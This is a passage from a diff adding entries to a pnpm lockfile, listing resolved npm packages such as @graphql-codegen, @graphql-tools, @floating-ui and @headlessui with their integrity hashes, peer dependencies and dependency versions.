'>=16.8.0' + react-dom: '>=16.8.0' + dependencies: + '@floating-ui/dom': 1.5.3 + react: 17.0.2 + react-dom: 17.0.2(react@17.0.2) + dev: false + + /@floating-ui/react-dom@1.3.0(react-dom@18.2.0)(react@18.2.0): + resolution: {integrity: sha512-htwHm67Ji5E/pROEAr7f8IKFShuiCKHwUC/UY4vC3I5jiSvGFAYnSYiZO5MlGmads+QqvUkR9ANHEguGrDv72g==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + dependencies: + '@floating-ui/dom': 1.5.3 + react: 18.2.0 + react-dom: 18.2.0(react@18.2.0) + dev: false + + /@floating-ui/react-dom@2.0.4(react-dom@17.0.2)(react@17.0.2): + resolution: {integrity: sha512-CF8k2rgKeh/49UrnIBs4BdxPUV6vize/Db1d/YbCLyp9GiVZ0BEwf5AiDSxJRCr6yOkGqTFHtmrULxkEfYZ7dQ==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + dependencies: + '@floating-ui/dom': 1.5.3 + react: 17.0.2 + react-dom: 17.0.2(react@17.0.2) + dev: false + + /@floating-ui/react-dom@2.0.4(react-dom@18.2.0)(react@18.2.0): + resolution: {integrity: sha512-CF8k2rgKeh/49UrnIBs4BdxPUV6vize/Db1d/YbCLyp9GiVZ0BEwf5AiDSxJRCr6yOkGqTFHtmrULxkEfYZ7dQ==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + dependencies: + '@floating-ui/dom': 1.5.3 + react: 18.2.0 + react-dom: 18.2.0(react@18.2.0) + dev: false + + /@floating-ui/react@0.22.3(react-dom@17.0.2)(react@17.0.2): + resolution: {integrity: sha512-RlF+7yU3/abTZcUez44IHoEH89yDHHonkYzZocynTWbl6J6MiMINMbyZSmSKdRKdadrC+MwQLdEexu++irvZhQ==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + dependencies: + '@floating-ui/react-dom': 1.3.0(react-dom@17.0.2)(react@17.0.2) + aria-hidden: 1.2.3 + react: 17.0.2 + react-dom: 17.0.2(react@17.0.2) + tabbable: 6.2.0 + dev: false + + /@floating-ui/react@0.22.3(react-dom@18.2.0)(react@18.2.0): + resolution: {integrity: sha512-RlF+7yU3/abTZcUez44IHoEH89yDHHonkYzZocynTWbl6J6MiMINMbyZSmSKdRKdadrC+MwQLdEexu++irvZhQ==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + dependencies: + '@floating-ui/react-dom': 1.3.0(react-dom@18.2.0)(react@18.2.0) + aria-hidden: 1.2.3 + react: 18.2.0 + react-dom: 18.2.0(react@18.2.0) + tabbable: 6.2.0 + dev: false + + /@floating-ui/utils@0.1.6: + resolution: {integrity: sha512-OfX7E2oUDYxtBvsuS4e/jSn4Q9Qb6DzgeYtsAdkPZ47znpoNsMgZw0+tVijiv3uGNR6dgNlty6r9rzIzHjtd/A==} + dev: false + + /@formatjs/ecma402-abstract@1.18.0: + resolution: {integrity: sha512-PEVLoa3zBevWSCZzPIM/lvPCi8P5l4G+NXQMc/CjEiaCWgyHieUoo0nM7Bs0n/NbuQ6JpXEolivQ9pKSBHaDlA==} + dependencies: + '@formatjs/intl-localematcher': 0.5.2 + tslib: 2.6.2 + dev: false + + /@formatjs/fast-memoize@2.2.0: + resolution: {integrity: sha512-hnk/nY8FyrL5YxwP9e4r9dqeM6cAbo8PeU9UjyXojZMNvVad2Z06FAVHyR3Ecw6fza+0GH7vdJgiKIVXTMbSBA==} + dependencies: + tslib: 2.6.2 + dev: false + + /@formatjs/icu-messageformat-parser@2.7.3: + resolution: {integrity: sha512-X/jy10V9S/vW+qlplqhMUxR8wErQ0mmIYSq4mrjpjDl9mbuGcCILcI1SUYkL5nlM4PJqpc0KOS0bFkkJNPxYRw==} + dependencies: + '@formatjs/ecma402-abstract': 1.18.0 + '@formatjs/icu-skeleton-parser': 1.7.0 + tslib: 2.6.2 + dev: false + + /@formatjs/icu-skeleton-parser@1.7.0: + resolution: {integrity: sha512-Cfdo/fgbZzpN/jlN/ptQVe0lRHora+8ezrEeg2RfrNjyp+YStwBy7cqDY8k5/z2LzXg6O0AdzAV91XS0zIWv+A==} + dependencies: + '@formatjs/ecma402-abstract': 1.18.0 + tslib: 2.6.2 + dev: false + + /@formatjs/intl-localematcher@0.5.2: + resolution: {integrity: sha512-txaaE2fiBMagLrR4jYhxzFO6wEdEG4TPMqrzBAcbr4HFUYzH/YC+lg6OIzKCHm8WgDdyQevxbAAV1OgcXctuGw==} + dependencies: + tslib: 2.6.2 + dev: false + + /@graphiql/react@0.18.0(@codemirror/language@6.0.0)(@types/node@20.10.3)(@types/react-dom@18.2.4)(@types/react@18.2.7)(graphql@15.8.0)(react-dom@17.0.2)(react@17.0.2): + resolution: {integrity: sha512-OIzUjnxBM4k9DY0DXBMRfU+fTak2tbnmY2o6J5t/vKvqGaa4opRUhgIZEvrerjnktjCxj2dJY706gCwnUZQsNg==} + peerDependencies: + graphql: ^15.5.0 || ^16.0.0 + react: ^16.8.0 || ^17 || ^18 + react-dom: ^16.8.0 || ^17 || ^18 + dependencies: + '@graphiql/toolkit': 0.8.4(@types/node@20.10.3)(graphql@15.8.0) + '@headlessui/react': 1.7.17(react-dom@17.0.2)(react@17.0.2) + '@radix-ui/react-dialog': 1.0.5(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2) + '@radix-ui/react-dropdown-menu': 2.0.6(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2) + '@radix-ui/react-tooltip': 1.0.7(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2) + '@radix-ui/react-visually-hidden': 1.0.3(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2) + '@types/codemirror': 5.60.15 + clsx: 1.2.1 + codemirror: 5.65.16 + codemirror-graphql: 2.0.10(@codemirror/language@6.0.0)(codemirror@5.65.16)(graphql@15.8.0) + copy-to-clipboard: 3.3.3 + framer-motion: 6.5.1(react-dom@17.0.2)(react@17.0.2) + graphql: 15.8.0 + graphql-language-service: 5.2.0(graphql@15.8.0) + markdown-it: 12.3.2 + react: 17.0.2 + react-dom: 17.0.2(react@17.0.2) + set-value: 4.1.0 + transitivePeerDependencies: + - '@codemirror/language' + - '@types/node' + - '@types/react' + - '@types/react-dom' + - graphql-ws + dev: false + + /@graphiql/toolkit@0.8.4(@types/node@20.10.3)(graphql@15.8.0): + resolution: {integrity: sha512-cFUGqh3Dau+SD3Vq9EFlZrhzYfaHKyOJveFtaCR+U5Cn/S68p7oy+vQBIdwtO6J2J58FncnwBbVRfr+IvVfZqQ==} + peerDependencies: + graphql: ^15.5.0 || ^16.0.0 + graphql-ws: '>= 4.5.0' + peerDependenciesMeta: + graphql-ws: + optional: true + dependencies: + '@n1ru4l/push-pull-async-iterable-iterator': 3.2.0 + graphql: 15.8.0 + meros: 1.3.0(@types/node@20.10.3) + transitivePeerDependencies: + - '@types/node' + dev: false + + /@graphql-codegen/core@2.6.8(graphql@15.8.0): + resolution: {integrity: sha512-JKllNIipPrheRgl+/Hm/xuWMw9++xNQ12XJR/OHHgFopOg4zmN3TdlRSyYcv/K90hCFkkIwhlHFUQTfKrm8rxQ==} + peerDependencies: + graphql: ^0.8.0 || ^0.9.0 || ^0.10.0 || ^0.11.0 || ^0.12.0 || ^0.13.0 || ^14.0.0 || ^15.0.0 || ^16.0.0 + dependencies: + '@graphql-codegen/plugin-helpers': 3.1.2(graphql@15.8.0) + '@graphql-tools/schema': 9.0.19(graphql@15.8.0) + '@graphql-tools/utils': 9.2.1(graphql@15.8.0) + graphql: 15.8.0 + tslib: 2.4.1 + dev: false + + /@graphql-codegen/plugin-helpers@2.7.2(graphql@15.8.0): + resolution: {integrity: sha512-kln2AZ12uii6U59OQXdjLk5nOlh1pHis1R98cDZGFnfaiAbX9V3fxcZ1MMJkB7qFUymTALzyjZoXXdyVmPMfRg==} + peerDependencies: + graphql: ^0.8.0 || ^0.9.0 || ^0.10.0 || ^0.11.0 || ^0.12.0 || ^0.13.0 || ^14.0.0 || ^15.0.0 || ^16.0.0 + dependencies: + '@graphql-tools/utils': 8.13.1(graphql@15.8.0) + change-case-all: 1.0.14 + common-tags: 1.8.2 + graphql: 15.8.0 + import-from: 4.0.0 + lodash: 4.17.21 + tslib: 2.4.1 + dev: false + + /@graphql-codegen/plugin-helpers@3.1.2(graphql@15.8.0): + resolution: {integrity: sha512-emOQiHyIliVOIjKVKdsI5MXj312zmRDwmHpyUTZMjfpvxq/UVAHUJIVdVf+lnjjrI+LXBTgMlTWTgHQfmICxjg==} + peerDependencies: + graphql: ^0.8.0 || ^0.9.0 || ^0.10.0 || ^0.11.0 || ^0.12.0 || ^0.13.0 || ^14.0.0 || ^15.0.0 || ^16.0.0 + dependencies: + '@graphql-tools/utils': 9.2.1(graphql@15.8.0) + change-case-all: 1.0.15 + common-tags: 1.8.2 + graphql: 15.8.0 + import-from: 4.0.0 + lodash: 4.17.21 + tslib: 2.4.1 + dev: false + + /@graphql-codegen/plugin-helpers@5.0.1(graphql@15.8.0): + resolution: {integrity: sha512-6L5sb9D8wptZhnhLLBcheSPU7Tg//DGWgc5tQBWX46KYTOTQHGqDpv50FxAJJOyFVJrveN9otWk9UT9/yfY4ww==} + peerDependencies: + graphql: ^0.8.0 || ^0.9.0 || ^0.10.0 || ^0.11.0 || ^0.12.0 || ^0.13.0 || ^14.0.0 || ^15.0.0 || ^16.0.0 + dependencies: + '@graphql-tools/utils': 10.0.11(graphql@15.8.0) + change-case-all: 1.0.15 + common-tags: 1.8.2 + graphql: 15.8.0 + import-from: 4.0.0 + lodash: 4.17.21 + tslib: 2.5.3 + dev: false + + /@graphql-codegen/schema-ast@4.0.0(graphql@15.8.0): + resolution: {integrity: sha512-WIzkJFa9Gz28FITAPILbt+7A8+yzOyd1NxgwFh7ie+EmO9a5zQK6UQ3U/BviirguXCYnn+AR4dXsoDrSrtRA1g==} + peerDependencies: + graphql: ^0.8.0 || ^0.9.0 || ^0.10.0 || ^0.11.0 || ^0.12.0 || ^0.13.0 || ^14.0.0 || ^15.0.0 || ^16.0.0 + dependencies: + '@graphql-codegen/plugin-helpers': 5.0.1(graphql@15.8.0) + '@graphql-tools/utils': 10.0.11(graphql@15.8.0) + graphql: 15.8.0 + tslib: 2.5.3 + dev: false + + /@graphql-codegen/typescript-generic-sdk@3.1.0(graphql-tag@2.12.6)(graphql@15.8.0): + resolution: {integrity: sha512-nQZi/YGRI1+qCZZsh0V5nz6+hCHSN4OU9tKyOTDsEPyDFnGEukDuRdCH2IZasGn22a3Iu5TUDkgp5w9wEQwGmg==} + peerDependencies: + graphql: ^0.8.0 || ^0.9.0 || ^0.10.0 || ^0.11.0 || ^0.12.0 || ^0.13.0 || ^14.0.0 || ^15.0.0 || ^16.0.0 + graphql-tag: ^2.0.0 + dependencies: + '@graphql-codegen/plugin-helpers': 3.1.2(graphql@15.8.0) + '@graphql-codegen/visitor-plugin-common': 2.13.1(graphql@15.8.0) + auto-bind: 4.0.0 + graphql: 15.8.0 + graphql-tag: 2.12.6(graphql@15.8.0) + tslib: 2.4.1 + transitivePeerDependencies: + - encoding + - supports-color + dev: false + + /@graphql-codegen/typescript-operations@4.0.1(graphql@15.8.0): + resolution: {integrity: sha512-GpUWWdBVUec/Zqo23aFLBMrXYxN2irypHqDcKjN78JclDPdreasAEPcIpMfqf4MClvpmvDLy4ql+djVAwmkjbw==} + peerDependencies: + graphql: ^0.8.0 || ^0.9.0 || ^0.10.0 || ^0.11.0 || ^0.12.0 || ^0.13.0 || ^14.0.0 || ^15.0.0 || ^16.0.0 + dependencies: + '@graphql-codegen/plugin-helpers': 5.0.1(graphql@15.8.0) + '@graphql-codegen/typescript': 4.0.1(graphql@15.8.0) + '@graphql-codegen/visitor-plugin-common': 4.0.1(graphql@15.8.0) + auto-bind: 4.0.0 + graphql: 15.8.0 + tslib: 2.5.3 + transitivePeerDependencies: + - encoding + - supports-color + dev: false + + /@graphql-codegen/typescript@4.0.1(graphql@15.8.0): + resolution: {integrity: sha512-3YziQ21dCVdnHb+Us1uDb3pA6eG5Chjv0uTK+bt9dXeMlwYBU8MbtzvQTo4qvzWVC1AxSOKj0rgfNu1xCXqJyA==} + peerDependencies: + graphql: ^0.12.0 || ^0.13.0 || ^14.0.0 || ^15.0.0 || ^16.0.0 + dependencies: + '@graphql-codegen/plugin-helpers': 5.0.1(graphql@15.8.0) + '@graphql-codegen/schema-ast': 4.0.0(graphql@15.8.0) + '@graphql-codegen/visitor-plugin-common': 4.0.1(graphql@15.8.0) + auto-bind: 4.0.0 + graphql: 15.8.0 + tslib: 2.5.3 + transitivePeerDependencies: + - encoding + - supports-color + dev: false + + /@graphql-codegen/visitor-plugin-common@2.13.1(graphql@15.8.0): + resolution: {integrity: sha512-mD9ufZhDGhyrSaWQGrU1Q1c5f01TeWtSWy/cDwXYjJcHIj1Y/DG2x0tOflEfCvh5WcnmHNIw4lzDsg1W7iFJEg==} + peerDependencies: + graphql: ^0.8.0 || ^0.9.0 || ^0.10.0 || ^0.11.0 || ^0.12.0 || ^0.13.0 || ^14.0.0 || ^15.0.0 || ^16.0.0 + dependencies: + '@graphql-codegen/plugin-helpers': 2.7.2(graphql@15.8.0) + '@graphql-tools/optimize': 1.4.0(graphql@15.8.0) + '@graphql-tools/relay-operation-optimizer': 6.5.18(graphql@15.8.0) + '@graphql-tools/utils': 8.13.1(graphql@15.8.0) + auto-bind: 4.0.0 + change-case-all: 1.0.14 + dependency-graph: 0.11.0 + graphql: 15.8.0 + graphql-tag: 2.12.6(graphql@15.8.0) + parse-filepath: 1.0.2 + tslib: 2.4.1 + transitivePeerDependencies: + - encoding + - supports-color + dev: false + + /@graphql-codegen/visitor-plugin-common@4.0.1(graphql@15.8.0): + resolution: {integrity: sha512-Bi/1z0nHg4QMsAqAJhds+ForyLtk7A3HQOlkrZNm3xEkY7lcBzPtiOTLBtvziwopBsXUxqeSwVjOOFPLS5Yw1Q==} + peerDependencies: + graphql: ^0.8.0 || ^0.9.0 || ^0.10.0 || ^0.11.0 || ^0.12.0 || ^0.13.0 || ^14.0.0 || ^15.0.0 || ^16.0.0 + dependencies: + '@graphql-codegen/plugin-helpers': 5.0.1(graphql@15.8.0) + '@graphql-tools/optimize': 2.0.0(graphql@15.8.0) + '@graphql-tools/relay-operation-optimizer': 7.0.0(graphql@15.8.0) + '@graphql-tools/utils': 10.0.11(graphql@15.8.0) + auto-bind: 4.0.0 + change-case-all: 1.0.15 + dependency-graph: 0.11.0 + graphql: 15.8.0 + graphql-tag: 2.12.6(graphql@15.8.0) + parse-filepath: 1.0.2 + tslib: 2.5.3 + transitivePeerDependencies: + - encoding + - supports-color + dev: false + + /@graphql-inspector/core@4.2.2(graphql@15.8.0): + resolution: {integrity: sha512-MnRtzV5TuzhkgwlGJV0qSewHo9UUVSd9D+79WCNHzjRBQ+Lej1x0i9/KoXebK71dDlOeeueKlGhBCXqPEb7wag==} + peerDependencies: + graphql: ^14.0.0 || ^15.0.0 || ^16.0.0 + dependencies: + dependency-graph: 0.11.0 + graphql: 15.8.0 + object-inspect: 1.12.3 + tslib: 2.5.0 + dev: false + + /@graphql-tools/graphql-file-loader@7.5.17(graphql@15.8.0): + resolution: {integrity: sha512-hVwwxPf41zOYgm4gdaZILCYnKB9Zap7Ys9OhY1hbwuAuC4MMNY9GpUjoTU3CQc3zUiPoYStyRtUGkHSJZ3HxBw==} + peerDependencies: + graphql: ^14.0.0 || ^15.0.0 || ^16.0.0 || ^17.0.0 + dependencies: + '@graphql-tools/import': 6.7.18(graphql@15.8.0) + '@graphql-tools/utils': 9.2.1(graphql@15.8.0) + globby: 11.1.0 + graphql: 15.8.0 + tslib: 2.6.2 + unixify: 1.0.0 + dev: false + + /@graphql-tools/import@6.7.18(graphql@15.8.0): + resolution: {integrity: sha512-XQDdyZTp+FYmT7as3xRWH/x8dx0QZA2WZqfMF5EWb36a0PiH7WwlRQYIdyYXj8YCLpiWkeBXgBRHmMnwEYR8iQ==} + peerDependencies: + graphql: ^14.0.0 || ^15.0.0 || ^16.0.0 || ^17.0.0 + dependencies: + '@graphql-tools/utils': 9.2.1(graphql@15.8.0) + graphql: 15.8.0 + resolve-from: 5.0.0 + tslib: 2.6.2 + dev: false + + /@graphql-tools/load@7.8.14(graphql@15.8.0): + resolution: {integrity: sha512-ASQvP+snHMYm+FhIaLxxFgVdRaM0vrN9wW2BKInQpktwWTXVyk+yP5nQUCEGmn0RTdlPKrffBaigxepkEAJPrg==} + peerDependencies: + graphql: ^14.0.0 || ^15.0.0 || ^16.0.0 || ^17.0.0 + dependencies: + '@graphql-tools/schema': 9.0.19(graphql@15.8.0) + '@graphql-tools/utils': 9.2.1(graphql@15.8.0) + graphql: 15.8.0 + p-limit: 3.1.0 + tslib: 2.6.2 + dev: false + + /@graphql-tools/merge@8.4.2(graphql@15.8.0): + resolution: {integrity: sha512-XbrHAaj8yDuINph+sAfuq3QCZ/tKblrTLOpirK0+CAgNlZUCHs0Fa+xtMUURgwCVThLle1AF7svJCxFizygLsw==} + peerDependencies: + graphql: ^14.0.0 || ^15.0.0 || ^16.0.0 || ^17.0.0 + dependencies: + '@graphql-tools/utils': 9.2.1(graphql@15.8.0) + graphql: 15.8.0 + tslib: 2.6.2 + dev: false + + /@graphql-tools/optimize@1.4.0(graphql@15.8.0): + resolution: {integrity: sha512-dJs/2XvZp+wgHH8T5J2TqptT9/6uVzIYvA6uFACha+ufvdMBedkfR4b4GbT8jAKLRARiqRTxy3dctnwkTM2tdw==} + peerDependencies: + graphql: ^14.0.0 || ^15.0.0 || ^16.0.0 || ^17.0.0 + dependencies: + graphql: 15.8.0 + tslib: 2.6.2 + dev: false + + /@graphql-tools/optimize@2.0.0(graphql@15.8.0): + resolution: {integrity: sha512-nhdT+CRGDZ+bk68ic+Jw1OZ99YCDIKYA5AlVAnBHJvMawSx9YQqQAIj4refNc1/LRieGiuWvhbG3jvPVYho0Dg==} + engines: {node: '>=16.0.0'} + peerDependencies: + graphql: ^14.0.0 || ^15.0.0 || ^16.0.0 || ^17.0.0 + dependencies: + graphql: 15.8.0 + tslib: 2.6.2 + dev: false + + /@graphql-tools/relay-operation-optimizer@6.5.18(graphql@15.8.0): + resolution: {integrity: sha512-mc5VPyTeV+LwiM+DNvoDQfPqwQYhPV/cl5jOBjTgSniyaq8/86aODfMkrE2OduhQ5E00hqrkuL2Fdrgk0w1QJg==} + peerDependencies: + graphql: ^14.0.0 || ^15.0.0 || ^16.0.0 || ^17.0.0 + dependencies: + '@ardatan/relay-compiler': 12.0.0(graphql@15.8.0) + '@graphql-tools/utils': 9.2.1(graphql@15.8.0) + graphql: 15.8.0 + tslib: 2.6.2 + transitivePeerDependencies: + - encoding + - supports-color + dev: false + + /@graphql-tools/relay-operation-optimizer@7.0.0(graphql@15.8.0): + resolution: {integrity: sha512-UNlJi5y3JylhVWU4MBpL0Hun4Q7IoJwv9xYtmAz+CgRa066szzY7dcuPfxrA7cIGgG/Q6TVsKsYaiF4OHPs1Fw==} + engines: {node: '>=16.0.0'} + peerDependencies: + graphql: ^14.0.0 || ^15.0.0 || ^16.0.0 || ^17.0.0 + dependencies: + '@ardatan/relay-compiler': 12.0.0(graphql@15.8.0) + '@graphql-tools/utils': 10.0.11(graphql@15.8.0) + graphql: 15.8.0 + tslib: 2.6.2 + transitivePeerDependencies: + - encoding + - supports-color + dev: false + + /@graphql-tools/schema@9.0.19(graphql@15.8.0): + resolution: {integrity: sha512-oBRPoNBtCkk0zbUsyP4GaIzCt8C0aCI4ycIRUL67KK5pOHljKLBBtGT+Jr6hkzA74C8Gco8bpZPe7aWFjiaK2w==} + peerDependencies: + graphql: ^14.0.0 || ^15.0.0 || ^16.0.0 || ^17.0.0 + dependencies: + '@graphql-tools/merge': 8.4.2(graphql@15.8.0) + '@graphql-tools/utils': 9.2.1(graphql@15.8.0) + graphql: 15.8.0 + tslib: 2.6.2 + value-or-promise: 1.0.12 + dev: false + + /@graphql-tools/utils@10.0.11(graphql@15.8.0): + resolution: {integrity: sha512-vVjXgKn6zjXIlYBd7yJxCVMYGb5j18gE3hx3Qw3mNsSEsYQXbJbPdlwb7Fc9FogsJei5AaqiQerqH4kAosp1nQ==} + engines: {node: '>=16.0.0'} + peerDependencies: + graphql: ^14.0.0 || ^15.0.0 || ^16.0.0 || ^17.0.0 + dependencies: + '@graphql-typed-document-node/core': 3.2.0(graphql@15.8.0) + cross-inspect: 1.0.0 + dset: 3.1.3 + graphql: 15.8.0 + tslib: 2.6.2 + dev: false + + /@graphql-tools/utils@8.13.1(graphql@15.8.0): + resolution: {integrity: sha512-qIh9yYpdUFmctVqovwMdheVNJqFh+DQNWIhX87FJStfXYnmweBUDATok9fWPleKeFwxnW8IapKmY8m8toJEkAw==} + peerDependencies: + graphql: ^14.0.0 || ^15.0.0 || ^16.0.0 || ^17.0.0 + dependencies: + graphql: 15.8.0 + tslib: 2.6.2 + dev: false + + /@graphql-tools/utils@9.2.1(graphql@15.8.0): + resolution: {integrity: sha512-WUw506Ql6xzmOORlriNrD6Ugx+HjVgYxt9KCXD9mHAak+eaXSwuGGPyE60hy9xaDEoXKBsG7SkG69ybitaVl6A==} + peerDependencies: + graphql: ^14.0.0 || ^15.0.0 || ^16.0.0 || ^17.0.0 + dependencies: + '@graphql-typed-document-node/core': 3.2.0(graphql@15.8.0) + graphql: 15.8.0 + tslib: 2.6.2 + dev: false + + /@graphql-typed-document-node/core@3.2.0(graphql@15.8.0): + resolution: {integrity: sha512-mB9oAsNCm9aM3/SOv4YtBMqZbYj10R7dkq8byBqxGY/ncFwhf2oQzMV+LCRlWoDSEBJ3COiR1yeDvMtsoOsuFQ==} + peerDependencies: + graphql: ^0.8.0 || ^0.9.0 || ^0.10.0 || ^0.11.0 || ^0.12.0 || ^0.13.0 || ^14.0.0 || ^15.0.0 || ^16.0.0 || ^17.0.0 + dependencies: + graphql: 15.8.0 + dev: false + + /@headlessui/react@1.6.6(react-dom@17.0.2)(react@17.0.2): + resolution: {integrity: sha512-MFJtmj9Xh/hhBMhLccGbBoSk+sk61BlP6sJe4uQcVMtXZhCgGqd2GyIQzzmsdPdTEWGSF434CBi8mnhR6um46Q==} + engines: {node: '>=10'} + peerDependencies: + react: ^16 || ^17 || ^18 + react-dom: ^16 || ^17 || ^18 + dependencies: + react: 17.0.2 + react-dom: 17.0.2(react@17.0.2) + dev: false + + /@headlessui/react@1.7.17(react-dom@17.0.2)(react@17.0.2): + resolution: {integrity: sha512-4am+tzvkqDSSgiwrsEpGWqgGo9dz8qU5M3znCkC4PgkpY4HcCZzEDEvozltGGGHIKl9jbXbZPSH5TWn4sWJdow==} + engines: {node: '>=10'} + peerDependencies: + react: ^16 || ^17 || ^18 + react-dom: ^16 || ^17 || ^18 + dependencies: + client-only: 0.0.1 + react: 17.0.2 + react-dom: 17.0.2(react@17.0.2) + dev: false + + /@headlessui/react@1.7.17(react-dom@18.2.0)(react@18.2.0): + resolution: {integrity: sha512-4am+tzvkqDSSgiwrsEpGWqgGo9dz8qU5M3znCkC4PgkpY4HcCZzEDEvozltGGGHIKl9jbXbZPSH5TWn4sWJdow==} + engines: {node: '>=10'} + peerDependencies: + react: ^16 || ^17 || ^18 + react-dom: ^16 || ^17 || ^18 + dependencies: + client-only: 0.0.1 + react: 18.2.0 + react-dom: 18.2.0(react@18.2.0) + dev: false + + /@heroicons/react@1.0.6(react@17.0.2): + resolution: {integrity: sha512-JJCXydOFWMDpCP4q13iEplA503MQO3xLoZiKum+955ZCtHINWnx26CUxVxxFQu/uLb4LW3ge15ZpzIkXKkJ8oQ==} + peerDependencies: + react: '>= 16' + dependencies: + react: 17.0.2 + dev: false + + /@heroicons/react@1.0.6(react@18.2.0): + resolution: {integrity: sha512-JJCXydOFWMDpCP4q13iEplA503MQO3xLoZiKum+955ZCtHINWnx26CUxVxxFQu/uLb4LW3ge15ZpzIkXKkJ8oQ==} + peerDependencies: + react: '>= 16' + dependencies: + react: 18.2.0 + dev: false + + /@iarna/toml@2.2.5: + resolution: {integrity: sha512-trnsAYxU3xnS1gPHPyU961coFyLkh4gAD/0zQ5mymY4yOZ+CYvsPqUbOFSw0aDM4y0tV7tiFxL/1XfXPNC6IPg==} + dev: false + + /@icons/material@0.2.4(react@17.0.2): + resolution: {integrity: sha512-QPcGmICAPbGLGb6F/yNf/KzKqvFx8z5qx3D1yFqVAjoFmXK35EgyW+cJ57Te3CNsmzblwtzakLGFqHPqrfb4Tw==} + peerDependencies: + react: '*' + dependencies: + react: 17.0.2 + dev: false + + /@icons/material@0.2.4(react@18.2.0): + resolution: {integrity: sha512-QPcGmICAPbGLGb6F/yNf/KzKqvFx8z5qx3D1yFqVAjoFmXK35EgyW+cJ57Te3CNsmzblwtzakLGFqHPqrfb4Tw==} + peerDependencies: + react: '*' + dependencies: + react: 18.2.0 + dev: false + + /@internationalized/date@3.5.0: + resolution: {integrity: sha512-nw0Q+oRkizBWMioseI8+2TeUPEyopJVz5YxoYVzR0W1v+2YytiYah7s/ot35F149q/xAg4F1gT/6eTd+tsUpFQ==} + dependencies: + '@swc/helpers': 0.5.3 + dev: false + + /@internationalized/message@3.1.1: + resolution: {integrity: sha512-ZgHxf5HAPIaR0th+w0RUD62yF6vxitjlprSxmLJ1tam7FOekqRSDELMg4Cr/DdszG5YLsp5BG3FgHgqquQZbqw==} + dependencies: + '@swc/helpers': 0.5.3 + intl-messageformat: 10.5.8 + dev: false + + /@internationalized/number@3.4.0: + resolution: {integrity: sha512-8TvotW3qVDHC4uv/BVoN6Qx0Dm8clHY1/vpH+dh+XRiPW/9NVpKn1P8d1A+WLphWrMwyqyWXI7uWehJPviaeIw==} + dependencies: + '@swc/helpers': 0.5.3 + dev: false + + /@internationalized/string@3.1.1: + resolution: {integrity: sha512-fvSr6YRoVPgONiVIUhgCmIAlifMVCeej/snPZVzbzRPxGpHl3o1GRe+d/qh92D8KhgOciruDUH8I5mjdfdjzfA==} + dependencies: + '@swc/helpers': 0.5.3 + dev: false + + /@jridgewell/gen-mapping@0.3.3: + resolution: {integrity: sha512-HLhSWOLRi875zjjMG/r+Nv0oCW8umGb0BgEhyX3dDX3egwZtB8PqLnjz3yedt8R5StBrzcg4aBpnh8UA9D1BoQ==} + engines: {node: '>=6.0.0'} + dependencies: + '@jridgewell/set-array': 1.1.2 + '@jridgewell/sourcemap-codec': 1.4.15 + '@jridgewell/trace-mapping': 0.3.20 + dev: false + + /@jridgewell/resolve-uri@3.1.1: + resolution: {integrity: sha512-dSYZh7HhCDtCKm4QakX0xFpsRDqjjtZf/kjI/v3T3Nwt5r8/qz/M19F9ySyOqU94SXBmeG9ttTul+YnR4LOxFA==} + engines: {node: '>=6.0.0'} + dev: false + + /@jridgewell/set-array@1.1.2: + resolution: {integrity: sha512-xnkseuNADM0gt2bs+BvhO0p78Mk762YnZdsuzFV018NoG1Sj1SCQvpSqa7XUaTam5vAGasABV9qXASMKnFMwMw==} + engines: {node: '>=6.0.0'} + dev: false + + /@jridgewell/sourcemap-codec@1.4.15: + resolution: {integrity: sha512-eF2rxCRulEKXHTRiDrDy6erMYWqNw4LPdQ8UQA4huuxaQsVeRPFl2oM8oDGxMFhJUWZf9McpLtJasDDZb/Bpeg==} + dev: false + + /@jridgewell/trace-mapping@0.3.20: + resolution: {integrity: sha512-R8LcPeWZol2zR8mmH3JeKQ6QRCFb7XgUhV9ZlGhHLGyg4wpPiPZNQOOWhFZhxKw8u//yTbNGI42Bx/3paXEQ+Q==} + dependencies: + '@jridgewell/resolve-uri': 3.1.1 + '@jridgewell/sourcemap-codec': 1.4.15 + dev: false + + /@juggle/resize-observer@3.4.0: + resolution: {integrity: sha512-dfLbk+PwWvFzSxwk3n5ySL0hfBog779o8h68wK/7/APo/7cgyWp5jcXockbxdk5kFRkbeXWm4Fbi9FrdN381sA==} + dev: false + + /@lezer/common@1.1.1: + resolution: {integrity: sha512-aAPB9YbvZHqAW+bIwiuuTDGB4DG0sYNRObGLxud8cW7osw1ZQxfDuTZ8KQiqfZ0QJGcR34CvpTMDXEyo/+Htgg==} + dev: false + + /@lezer/highlight@1.2.0: + resolution: {integrity: sha512-WrS5Mw51sGrpqjlh3d4/fOwpEV2Hd3YOkp9DBt4k8XZQcoTHZFB7sx030A6OcahF4J1nDQAa3jXlTVVYH50IFA==} + dependencies: + '@lezer/common': 1.1.1 + dev: false + + /@lezer/lr@1.3.14: + resolution: {integrity: sha512-z5mY4LStlA3yL7aHT/rqgG614cfcvklS+8oFRFBYrs4YaWLJyKKM4+nN6KopToX0o9Hj6zmH6M5kinOYuy06ug==} + dependencies: + '@lezer/common': 1.1.1 + dev: false + + /@monaco-editor/loader@1.4.0(monaco-editor@0.31.0): + resolution: {integrity: sha512-00ioBig0x642hytVspPl7DbQyaSWRaolYie/UFNjoTdvoKPzo6xrXLhTk9ixgIKcLH5b5vDOjVNiGyY+uDCUlg==} + peerDependencies: + monaco-editor: '>= 0.21.0 < 1' + dependencies: + monaco-editor: 0.31.0 + state-local: 1.0.7 + dev: false + + /@monaco-editor/react@4.4.5(monaco-editor@0.31.0)(react-dom@17.0.2)(react@17.0.2): + resolution: {integrity: sha512-IImtzU7sRc66OOaQVCG+5PFHkSWnnhrUWGBuH6zNmH2h0YgmAhcjHZQc/6MY9JWEbUtVF1WPBMJ9u1XuFbRrVA==} + peerDependencies: + monaco-editor: '>= 0.25.0 < 1' + react: ^16.8.0 || ^17.0.0 || ^18.0.0 + react-dom: ^16.8.0 || ^17.0.0 || ^18.0.0 + dependencies: + '@monaco-editor/loader': 